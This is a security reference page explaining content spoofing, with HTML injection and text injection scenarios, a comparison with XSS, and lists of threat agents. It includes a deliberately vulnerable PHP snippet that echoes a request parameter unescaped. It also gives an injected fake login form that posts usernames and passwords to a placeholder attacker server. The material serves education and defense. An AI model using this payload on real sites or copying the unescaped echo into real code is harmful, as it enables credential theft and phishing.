Content Spoofing

Author: Andrew Smith
Contributor(s): Jmanico, Wichers, D0ubl3 h3lix, Rishu Ranjan, ADubhlaoich, Arnout Engelen


Content spoofing, also referred to as content injection, “arbitrary text injection” or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain. This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user’s trust.

The impact of a content spoofing attack strongly depends on the context: user-supplied information that is reflected in a way that is correctly escaped and clearly visually marked, such as in error messages, may be harmless. On the other hand, input that is not clearly visually distinguised from the ‘valid’ content may be used in social engineering attacks, and when the input is not correctly escaped it may even contain ‘active’ components, allowing attacks similar to Cross-site Scripting (XSS).

Attack Type: Client-Side

Risk Factors

Content spoofing attacks can be relatively easy to detect in vulnerable applications. To successfully execute an attack based on content spoofing, the attacker also needs to trick the victim into clicking a malicious link, for example via targeted communication or by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.

Audit Guideline

Text injection can be easily found if user input (either via parameters or directly in the URL) is reflected in the page response.

Applicable Industries

  • A business entity selling one type of product as a major business function

For example, Taxi hailing business, Online shopping business, Online service business

  • A business entity relying on the brand name

For example, Cosmetic brand, Airline brand

Threat Agents

  • Malicious competitors
  • Disgruntled employees
  • Unsatisfied customers
  • Scammers

Content Spoofing vs. Cross-site Scripting

Content spoofing is an attack that is closely related to Cross-site Scripting (XSS). While XSS uses <script> and other techniques to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.

Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.


Hypertext Markup Language (HTML) Injection

A possible attack scenario is demonstrated below. For this scenario, let’s assume no output encoding is being implemented:

  1. Attacker discovers injection vulnerability and decides to spoof a login form
  2. Attacker crafts malicious link, including their injected HTML content, and sends it to a user via email
  3. The user visits the page due to the page being located within a trusted domain
  4. The attacker’s injected HTML is rendered and presented to the user asking for a username and password
  5. The user enters a username and password, which are both sent to the attackers server
  • A simple PHP page containing an injection vulnerability via the name parameter:
    $name = $_REQUEST ['name'];
    <h1>Welcome to the Internet!</h1>
        Hello, <?php echo $name; ?>!
        <p>We are so glad you are here!</p>

The page functionality can be tested by making the following GET request to the page:

By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named login.php on the attacker’s server via POST.<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password"
name="password" /><br /><input type="submit" value="Login" /></form><!--

Text Injection

Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:

  1. An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock
  2. The attacker identifies a vulnerable parameter
  3. The attacker crafts a malicious link by slightly modifying a valid request
  4. The link containing the modified request is sent to a user and they clicks the link
  5. A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website

Valid Page


Modified Page


Other example:

Modified Page